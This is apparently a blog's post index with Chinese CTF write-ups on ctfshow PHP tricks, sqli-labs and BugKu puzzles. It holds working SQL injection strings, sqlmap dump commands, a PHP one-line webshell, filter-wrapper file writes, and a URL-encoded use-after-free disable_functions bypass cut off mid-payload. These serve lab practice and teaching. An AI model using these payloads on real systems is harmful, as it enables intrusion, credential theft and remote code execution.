web115\n![](/pic/115.png)\n考察点:trim函数的绕过+is_numeric绕过\n~~~\n语法\ntrim(string,charlist)\n\n参数\t描述\nstring\t 必需。规定要检查的字符串。\ncharlist\t 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:\n\n\"\\0\" - NULL\n\"\\t\" - 制表符\n\"\\n\" - 换行\n\"\\x0B\" - 垂直制表符\n\"\\r\" - 回车\n\" \" - 空格\n~~~\n看师傅的wp才能做出来,在本地测试一下\n~~~\n<?php\n\nfor($i=0;$i<=128;$i++){\n $str=chr($i).\"1\";\n if(is_numeric($str)&& trim($str)!=='1'){\n echo urlencode(chr($i)).\"<br>\";\n }\n}\n~~~\n可以用%0c换页,\npayload:\n~~~\n?num=%0c36\n~~~\n# web123\n![](/pic/123.png)\n~~~\nGET或POST的方式传进去的变量名,会自动将空格 + . [ 转换为_,想构造出.,需要前面带上[,后面用.就可以不变成_。\n~~~\n\npayload:\n~~~\nPOST:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag\n~~~\n# web125\n![](/pic/125.png)\n~~~\n1、cli模式(命令行)下\n\n\t第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数\n\n2、web网页模式下\n\n\t在web页模式下必须在php.ini开启register_argc_argv配置项\n\t\n 设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果\n\n 这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]\n\n $argv,$argc在web模式下不适用\n~~~\npayload:\n~~~\npayload:\nget: $fl0g=flag_give_me;\npost: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])\n~~~","tags":["ctfshow","刷题","php特性"],"categories":["ctfshow","刷题","php特性"]},{"title":"ctfshow web入门105~109","url":"/2023/02/26/ctfshow-web入门105/","content":"![](/pic/105.png)\n~~~\nforeach($_GET as $key => $value){\n if($key==='error'){\n die(\"what are you doing?!\");\n } \n~~~\n这一段说get传的值不能等于error。\n~~~\nforeach($_POST as $key => $value){\n if($value==='flag'){\n die(\"what are you doing?!\");\n } \n~~~\n这一段说POST传的值不能等于flag。\n~~~\nif(!($_POST['flag']==$flag)){\n die($error);\n} \n~~~\n这一段说POST传的值不等于flag的话输出变量error。\npayload:\n~~~\nGET:?a=flag\nPOST:error=a\n~~~\n<!--more-->\n# web106\n![](/pic/106.png)\n这道题就比web105多一个比较。\npayload:\n~~~\nGET:v2[]=1\nPOST:v1[]=2\n~~~\n# web107\n![](/pic/107.png)\n~~~\nparse_str(string,array)\n把查询字符串解析到变量中。\nstring必选。规定要解析的字符串\narray可选。规定存储变量的数组的名称。\n~~~\n题目就是把v1的值赋给v2,然后让v2的值和v3的MD5值相同。\npayload:\n~~~\nGET:?v3=a\nPOST:v1=flag=0cc175b9c0f1b6a831c399e269772661\n~~~\nMD5没办法处理数组。\n~~~\nGET:?v3=a\nPOST:v1= #空\n~~~\n# web108\n连接不到服务器.....\n# web109\n找不到服务器......","tags":["ctfshow","刷题","php特性"],"categories":["ctfshow","刷题","php特性"]},{"title":"Hello World","url":"/2023/02/26/hello-world/","content":"Welcome to [Hexo](https://hexo.io/)! This is your very first post. Check [documentation](https://hexo.io/docs/) for more info. If you get any problems when using Hexo, you can find the answer in [troubleshooting](https://hexo.io/docs/troubleshooting.html) or you can ask me on [GitHub](https://github.com/hexojs/hexo/issues).\n\n## Quick Start\n\n### Create a new post\n\n``` bash\n$ hexo new \"My New Post\"\n```\n\nMore info: [Writing](https://hexo.io/docs/writing.html)\n\n### Run server\n\n``` bash\n$ hexo server\n```\n\nMore info: [Server](https://hexo.io/docs/server.html)\n\n### Generate static files\n\n``` bash\n$ hexo generate\n```\n\nMore info: [Generating](https://hexo.io/docs/generating.html)\n\n### Deploy to remote sites\n\n``` bash\n$ hexo deploy\n```\n\nMore info: [Deployment](https://hexo.io/docs/one-command-deployment.html)\n"},{"title":"sqli-labs","url":"/2023/02/20/sqli-labs/","content":"# less-1\n![](/pic/sqli/1.png)\n看报错可知,这是闭合单引号。\n~~~\n?id=1'order by 3 -- - #确定那个字段有回显\n?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- - #查询表名\n?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- - #查询列名\n?id=-1'union select 1,2,group_concat(username,'~',password) from users -- - #查询当前数据库user表里面的username和password。\n~~~\n<!--more-->\n用sqlmap更简单\n~~~\nsqlmap -u \"ip?id=1\"\nsqlmap -u \"ip?id=1\" -dbs #列出所有数据库\nsqlmap -u \"ip?id=1\" -D security -tables #列出当前数据库里的表\nsqlmap -u \"ip?id=1\" -D security -T users -columns #列出表里的列\nsqlmap -u \"ip?id=1\" -D security -T users -C username,password --dump #获取表里的数据\n~~~\n# less-2\n![](/pic/sqli/2.png)\n这一题就不用闭合,剩下的和第一题一样。\n~~~\n?id=1 order by 3 -- - \n?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -\n?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- - \n?id=-1 union select 1,2,group_concat(username,'~',password) from users -- - \n~~~\n# less-3\n![](/pic/sqli/3.png)\n看错误提示可知,需要用`')`来闭合,剩下的和第一题一样。\n~~~\n?id=1') order by 3 -- - \n?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -\n?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- - \n?id=-1') union select 1,2,group_concat(username,'~',password) from users -- - \n~~~\n# less-4\n![](/pic/sqli/4.png)\n看错误提示,可知闭合方式是`\")`,但是单引号不会报错,剩下的和第一题一样。\n~~~\n?id=1\") order by 3 -- - \n?id=-1\") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -\n?id=-1\") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- - \n?id=-1\") union select 1,2,group_concat(username,'~',password) from users -- - \n~~~\n# less-5\n![](/pic/sqli/5.png)\n根据错误可以判断是单引号报错。联合注入也没有办法用,可以使用报错注入。\nextractvalue函数\npayload:id='and(select extractvalue(\"anything\",concat('~',(select语句))))\n~~~\n函数原型:extractvalue(xml_document,Xpath_string)\n正常语法:extractvalue(xml_document,Xpath_string);\n第一个参数:xml_document是string格式,为xml文档对象的名称\n第二个参数:Xpath_string是xpath格式的字符串\n作用:从目标xml中返回包含所查询值的字符串\n~~~\npayload:\n~~~\n?id=-1'and (select extractvalue(1,concat(\"~\",(select database()))))-- - #获取当前数据库的名称\n?id=-1'and (select extractvalue(1,concat(\"~\",substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31))))-- -\n#查询当前数据库里所有的表\n?id=-1'and (select extractvalue(1,concat(\"~\",substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,31))))-- -\n#查询表里列的名称\n?id=-1'and (select extractvalue(1,concat(\"~\",substr((select group_concat(username,'~',password) from users),1,31))))-- -\n#查询表里面的内容\n\n\n\n# extractvalue()函数能显示的最大长度为32,所以用substr()函数来分页,或者使用limit分页也可以。concat()里面的~也可以是其他的。\n~~~\n\nupdatexml:\npayload:id='and(select updatexml(\"anything\",concat('~',(select语句())),\"anything\"))\n~~~\n?id=-1'and updatexml(1,concat('~',(select database())),1)-- -\n?id=-1'and updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema=database() )),1)-- -\n?id=-1'and updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users' )),1)-- -\n?id=-1'and (select extractvalue(1,concat(\"~\",substr((select group_concat(username,'~',password) from users),1,31))))-- -\n~~~\n\nfloor:\npayload:'union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from \"一个足大的表\" group by x)a\n# less-6\n闭合方式为`\"`,报错注入仍可行。\n# less-7\n文件读写注入,但是我怎么运行文件都不写入,放弃了。\n# less-8\n布尔盲注。\n~~~\n?id=-1'and (ascii(substr(select database()),1,1))==115--+ #判断第一个数据库名字第一个字符的ascii码是否等于115\n?id=1' and (ascii(substr((select database()) ,2,1))) = 101 --+ #判断第一个数据库名字第二个字符的ascii码是否等于101\n?id=1'and (length(database())) = 8 --+ #判断数据库名字的长度是否等于8\n?id=1'and (length(select table_name from information_schema.tables where table_schema='security' limit 3,1)) = 5 --+ #判断地三张表名字的长度是否为5\n?id=1' and (length((select column_name from information_schema.columns where table_name='users' limit 1,1))) = 8 --+ #判断users表里地二个列名的长度是否为8\n~~~\n如果判断正确的话,页面返回正常。\n好麻烦啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊。\n# less-9\n时间盲注\n~~~\nid=1' and if(length(database())>3 ,sleep(5),1) -- - #如果数据库长度长于3的话,延迟5秒返回页面。\n~~~\n[MySQL时间盲注五种延时方法 ](https://www.cnblogs.com/forforever/p/13019703.html)\n# less-10\n还是时间盲注,闭合方式为`\"`。\n# less-11\n![](/pic/sqli/11.png)\n这个就在username上直接输入sql语句就行。\n也可以用hackbar,Post传参。其他语句不变。.\n\n","tags":["sql注入"],"categories":["web"]},{"title":"ctfshow web入门101~104","url":"/2023/02/18/ctfshow-web入门101~104/","content":"# web101\n![](/pic/101.png)\n~~~\n当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo显示\n即使传入了空的括号,代码依旧可以运行,且error_reporting(0)的存在阻止了报错\n~~~\nv1必须是数字,v2可以使用可以使用反射类new ReflectionClass(),v3没有过滤`;`。\npayload:\n~~~\nv1=1&v2=echo new Reflectionclass&v3=;\n~~~\n0x2d还是-,然后最后一位需要自己猜。\n# web102\n![](/pic/102.png)\n~~~\nis_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true\n\ncall_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数\n\nfile_put_contents() 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容\n~~~\n要确保v4为真,就要确保v2是数字.将v2进行base64编码然后再转换成16进制。\npayload:\n~~~\nv2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php\nPOST:v1=hex2bin\n~~~\n然后访问2.php查看源码就能找到flag。\n# web103\n找不到服务器,做不了题.\n# web104\n![](/pic/104.png)\n因为没有判断,可以直接让两个值相等,也可以用数组绕过,也可以用两个相等的sha1的值。\n~~~\naaK1STfY\n0e76658526655756207688271159624026011393\naaO8zKZF\n0e89257456677279068558073954252716165668\n~~~\n","tags":["ctfshow","刷题","php特性"],"categories":["ctfshow","刷题","php特性"]},{"title":"ctfshow web97~100","url":"/2023/02/07/ctfshow-web入门97~100/","content":"# web97\n![](/pic/97.png)\n要求POST传参,a不能等于b,但是a和b的md5值要相同,但是md5这个函数呢有个漏洞,传入的参数为数组的时候会发生错误,并返回NULL。\n~~~\na[]=123&b[]=1234\n~~~\n<!--more-->\n# web98\n![](/pic/98.png)\n~~~\n分析上面的代码可以看出来,只要有输入的get参数就将get方法改变为post方法(修改了get方法\n的地址),而第二三行代码没啥用,我们用不到,直接看第四行,如果get参数HTTP_FLAG的值为\nflag,就读取文件,也就是输出flag。所以思路就有了,我们通过get随便传一个参数并赋值,\n然后我们通过post请求传HTTP_FLAG参数并赋值为flag即可获得flag。\n~~~\n~~~\nGET:?1=1\nPOST:HTTP_FLAG=flag\n~~~\n# web99\n![](/pic/99.png)\n~~~\n array(),是空数组定义,题中定义了$allow为空数组\n0x36d,其十进制为877\nrand(),返回随机整数\narray_push(),是向数组尾部插入新的值\nfile_put_contents(),写文件\n~~~\n因为in_array第三个参数没设置为true,所以该函数是宽松比较(==),字符串型会先转化为整型再比较,只要值相同就可以了,所以我们可以传参写木马进去.\n~~~\n?n=1.php\ncontent=<?php @eval($_POST[1]);?>\n~~~\n然后用蚁剑连接\n# web100\n![](/pic/100.png)\nis_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。\nv1一定要是个数字,v2不能有分号,v3必须有分号。\n~~~\nget:/?v1=1&v2=eval($_POST[1])?> %23&v3=;\npost:1=system(\"tac ctfshow.php\");\n~~~\n~~~\n$flag_is_3110c36f0x2df28a0x2d4b840x2dbe0f0x2d2c4f600a4b95;\n~~~\n0x2d是-,换上后加上ctfshow{}就可以了","tags":["ctfshow","刷题","php特性"],"categories":["ctfshow","刷题","php特性"]},{"title":"ctfshow web89~96","url":"/2023/02/02/89/","content":"# web89\n![](/pic/89.png)\n用数组绕过就行。\npayload:\n~~~\n?num[]=a;\n~~~\n<!--more-->\n# web90\n![](/pic/90.png)\n~~~\nintval( mixed $var[, int $base = 10] ) : int\n\nvar\n要转换成 integer 的数量值\nbase\n转化所使用的进制 \nNote: \n如果 base 是 0,通过检测 var 的格式来决定使用的进制: \n◦ 如果字符串包括了 \"0x\" (或 \"0X\") 的前缀,使用 16 进制 (hex);否则, \n◦ 如果字符串以 \"0\" 开始,使用 8 进制(octal);否则, \n◦ 将使用 10 进制 (decimal)。 \n~~~\n只需要提交0x117c就行,0x117c是16进制的4476,也可以提交4476+字符。\npayload:\n~~~\n?num=0x117c\n?num=4476a\n~~~\n# web91\n![](/pic/91.png)\n第一次是/im第二次是/i\n/im可以匹配多行,/i只能匹配一行。\n所以让他第一次匹配到php第二次匹配不到php。\npayload:\n~~~\n?cmd=1%0aphp\n~~~\n# web92\n![](/pic/92.png)\n可以换个进制绕过\n~~~\n?num=0x117c\n~~~\n或者还有e这个东西\n~~~\nintval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以\n~~~\n\n~~~\n?num=4476e123\n~~~\n# web93\n![](/pic/93.png)\n可以用小数,也可以用8进制\npayload:\n~~~\n?num=4476.1\n?num=010574\n~~~\n~~~\n二进制0bxxx\n八进制0xxxxxx\n十六进制0xaaaa\n~~~\n# web94\n![](/pic/94.png)\nstrpos是匹配字符,必须要匹配到0而且还不能在第一位,可以用8进制也可以用小数。\n如果用8进制的话必须在开头加一个空格。\npayload:\n~~~\n?num=4476.0\n/?num= 010574\n~~~\n# web95\n![](/pic/95.png)\n这一道题多过滤了一个点,所以没法用小数了,其他的跟上一道题一样。\npayload:\n~~~\n?num= 010574\n~~~\n# web96\n![](/pic/96.png)\n想办法读取flag.php还不能直接传flag.php,利用路径或者php协议就行。\npayload:\n~~~\n?u=/var/www/html/flag.php\n?u=./flag.php\n?u=php://filter/resource=falg.php\n~~~","tags":["ctfshow","刷题","php特性"],"categories":["ctfshow","刷题","php特性"]},{"title":"ctfshow web入门87~88","url":"/2023/01/31/ctfshow-web入门87/","content":"# web87\n![](/pic/87.png)\n[谈一谈php://filter的妙用](https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list)\n<!--more-->\n~~~\n将 php://filter/write=convert.base64-decode/resource=123.php (这里因为我们需要的是写入的权限,所以是write)进行两次url编码,得到如下\n\n%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%33%32%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30\n~~~\n然后再content写入经过base64编码过后的一句话 (PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==)\n这里content的值前面要加两个字符,因为base64算法解码时是4个byte一组,所以给他增加2个字符 一共8个字符\n![](/pic/87.1.png)\n![](/pic/87.2.png)\n然后再查看fl0g.php就行了\n# web88\n![](/pic/88.png)\n过滤的东西很多,但data协议还可以用。\n~~~\n?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgKi5waHAiKTs/Pg\n~~~\nbase64后面是base64编码但是不能带有加号和等号,有加号的payload不能用。\n# web116和web117\n不会做.....","tags":["ctfshow","刷题","文件包含"],"categories":["ctfshow","刷题","文件包含"]},{"title":"BugKu刷题","url":"/2023/01/28/BugKu刷题/","content":"# 聪明的小羊\n题目描述:一只小羊翻过了2个栅栏 fa{fe13f590lg6d46d0d0}\n栅栏密码,分两栏时就是flag。\n<!--more-->\nflag:`flag{6fde4163df05d900}`\n# /.-\n题目描述: ..-./.-../.-/--./----.--/-../...--/..-./-.-./-.../..-./.----/--.../..-./----./...--/----./----./...../-----/....-/-----.-\n很明显的摩斯密码,[在线摩斯密码翻译](https://www.lddgo.net/encrypt/morse),可以解出flag:FLAG%u7bD3FCBF17F9399504%u7d\n%u7b是{,%u7d是},然后字母全部改为小写就是flag。\nflag:`flag{d3fcbf17f9399504}`\n# ok\n题目是okk编码,用[](https://www.splitbrain.org/services/ook)可以直接获得flag。\nflag:`flag{0a394df55312c51a}`\n# linux\n下载文件解压,用记事本的形式打开文件,ctrl+搜索key就能找到flag。\nflag:`key{feb81d3834e2423c9903f4755464060b}`\n# 闪的好快\n下载是一个gif图,用stegsolve打开,一帧一帧扫二维码,然后拼接起来就是flag。\nflag:`SYC{F1aSh_so_f4sT}`\n# 隐写2\n图片的大小感觉和他本身有点不符,用binwalk一看,确实有隐藏的文件。\n分离之后是一个压缩包和一个提示,提示说明解压密码是三位数字。\n暴力破解一下,密码是871,解压之后又是一个图片,用记事本打开,末尾有`f1@g{eTB1IEFyZSBhIGhAY2tlciE=}`\nbase64解码得到falg。\nflag:`f1@g{y0u Are a h@cker!}`\n# 白哥的鸽子\n用stegsolve打开,fileformat最下面有类似于flag的文字。[栅栏密码在线加密解密](http://moersima.00cha.net/shanlan.asp)栅栏加密,\n当栅栏数为3时,就是flag。\nflag:`flag{w22_is_v3ry_cool}`\n# 再也没有纯白的灵魂\n文件开头是~呜嗷开头的,查过之后才发现是兽音密文[](https://roar.iiilab.com/)。由于不知道怎么加密的,就先将flag加密一下试试,然后一一对应,最坑人的是少了一个G,真的恶心人。。。。\n最后解出来就是flag。\nflag:`flag{ni-zhen-shi-shou-ren}`","tags":["刷题","BugKu"],"categories":["BugKu","刷题"]},{"title":"ctfshow web入门69~74","url":"/2023/01/25/ctfshow-web入门69~74/","content":"# web69\n和web68一样。\npayload:\n~~~\nc=include(\"/flag.txt\");\n~~~\n<!--more-->\n# web70\n同上。\n# web71\n![](/pic/71.png)\n~~~\n$s = ob_get_contents();//得到缓冲区的数据。\nob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。可以用exit();停止后面的程序。\n~~~\npayload:\n~~~\nc=include(\"/flag.txt\");exit();\n~~~\n# web72\n![](/pic/72.png)\n这道题过滤了数字和字母,不会一点不会。\n参考一下大佬的wp\n[](https://rolemee.com/2021/07/16/ctfshow-web-ru-men-ming-ling-zhi-xing-72-rao-guo-disable-function-xian-zhi-he-open-basedir-xian-zhi/)\n将\n~~~\nc=?><?php\n$a=new DirectoryIterator(\"glob:///*\");\nforeach($a as $f)\n{echo($f->__toString().' ');\n}\nexit(0);\n?>\n~~~\n进行`url编码`。\n~~~\nc=?%3E%3C?php%0A$a=new%20DirectoryIterator(%22glob:///*%22);%0Aforeach($a%20as%20$f)%0A%7Becho($f-%3E__toString().'%20');%0A%7D%0Aexit(0);%0A?%3E\n~~~\n![](/pic/72.png)\n看到了`flag0.txt`,但是直接include的话没有权限。\n要用什么uaf绕过\npayload:\n~~~\nc=function%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%